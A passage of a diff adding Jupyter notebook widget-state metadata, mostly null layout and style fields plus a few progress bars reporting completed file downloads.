+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03ae716e541d4b22b2e82f36d1fa516c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "9b57473fbcb341cf90393ad8f41eff2f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ff5e0890b8724417b82358a48aba3e78": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "95707ff8a18749cbaf31ce459278662f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "c77101d1f1ca4452805baa23883deb71": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "59432e64a20f4a1f840a4a4e4219b61a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_37b0572613f2436fb1295266742a3347",
+              "IPY_MODEL_9601fd546e844c22a9bbd578af726caa",
+              "IPY_MODEL_b1bbe9741ce6472fa767e38d4165ba0a"
+            ],
+            "layout": "IPY_MODEL_8faf96e2a06749edb9e407e3078ed863"
+          }
+        },
+        "37b0572613f2436fb1295266742a3347": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e7bf154fcfb34c2d963ee3dc15de9b4a",
+            "placeholder": "",
+            "style": "IPY_MODEL_247e98ffba5b4677af83ecc7adabf4f9",
+            "value": "Downloading: 100%"
+          }
+        },
+        "9601fd546e844c22a9bbd578af726caa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_36debd6ba8074e0fad9da507c4ab276e",
+            "max": 2,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_99be590e388b4d8a8987e45f920d5e36",
+            "value": 2
+          }
+        },
+        "b1bbe9741ce6472fa767e38d4165ba0a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d59c98d15314432b964418fc26384411",
+            "placeholder": "",
+            "style": "IPY_MODEL_55c80d31a9774730b53948f5f0beac6f",
+            "value": " 2.00/2.00 [00:00<00:00, 54.4B/s]"
+          }
+        },
+        "8faf96e2a06749edb9e407e3078ed863": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e7bf154fcfb34c2d963ee3dc15de9b4a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "247e98ffba5b4677af83ecc7adabf4f9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "36debd6ba8074e0fad9da507c4ab276e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "99be590e388b4d8a8987e45f920d5e36": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "d59c98d15314432b964418fc26384411": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "55c80d31a9774730b53948f5f0beac6f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "b13e766210c44230a2d4a027fe3e5c21": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_1d6db3019cbf4abcb3652617e56bcbea",
+              "IPY_MODEL_745a2fa9e81a4c24bb54d53ab6805d34",
+              "IPY_MODEL_19db4b4005064243a5409e84ea9f89df"
+            ],
+            "layout": "IPY_MODEL_99bbe160962a4ad48bf423145bf99430"
+          }
+        },
+        "1d6db3019cbf4abcb3652617e56bcbea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_32cfdb3f92304c329307a9ee43852f38",
+            "placeholder": "",
+            "style": "IPY_MODEL_ab532f783ed04c8ca11ef2087722e465",
+            "value": "Downloading: 100%"
+          }
+        },
+        "745a2fa9e81a4c24bb54d53ab6805d34": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_34ad0b24e30447b5b2f0aa11bc59c687",
+            "max": 112,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_3d8ab41e60ed4eea84b75c1804e561ab",
+            "value": 112
+          }
+        },
+        "19db4b4005064243a5409e84ea9f89df": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_30a6d47314cc49fbbd969b76e580c72a",
+            "placeholder": "",
+            "style": "IPY_MODEL_48df546e7b564234b3778f6ffeadbf17",
+            "value": " 112/112 [00:00<00:00, 3.04kB/s]"
+          }
+        },
+        "99bbe160962a4ad48bf423145bf99430": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "32cfdb3f92304c329307a9ee43852f38": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ab532f783ed04c8ca11ef2087722e465": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "34ad0b24e30447b5b2f0aa11bc59c687": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3d8ab41e60ed4eea84b75c1804e561ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "ProgressStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "30a6d47314cc49fbbd969b76e580c72a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "48df546e7b564234b3778f6ffeadbf17": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "c657666a56c5407bbafbe0f89549c382": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HBoxModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_0312455f52014d9e9a77c392efcd6e41",
+              "IPY_MODEL_7670ce59ba884342b7864a1c2c954b32",
+              "IPY_MODEL_6d51b244fd8a46a893fea991ebeb938e"
+            ],
+            "layout": "IPY_MODEL_df27715317114bab8097d28be8dbaf7d"
+          }
+        },
+        "0312455f52014d9e9a77c392efcd6e41": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7065a22bffa94dfe8cd0ec1d7b63f248",
+            "placeholder": "",
+            "style": "IPY_MODEL_062952d272424f9681299d8e331e313f",
+            "value": "Downloading: 100%"
+          }
+        },
+        "7670ce59ba884342b7864a1c2c954b32": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "FloatProgressModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1bb8fe2cb34e4d8e86047968c5d035c8",
+            "max": 852,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ffecfcd5d91c4334ad10dad18308db97",
+            "value": 852
+          }
+        },
+        "6d51b244fd8a46a893fea991ebeb938e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "HTMLModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_93b9aabe280e43649c8127be38c004be",
+            "placeholder": "",
+            "style": "IPY_MODEL_d525c841015b47da85324c6687e6b065",
+            "value": " 852/852 [00:00<00:00, 16.2kB/s]"
+          }
+        },
+        "df27715317114bab8097d28be8dbaf7d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7065a22bffa94dfe8cd0ec1d7b63f248": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "062952d272424f9681299d8e331e313f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_name": "DescriptionStyleModel",
+          "model_module_version": "1.5.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "1bb8fe2cb34e4d8e86047968c5d035c8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_name": "LayoutModel",
+          "model_module_version": "1.2.0",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
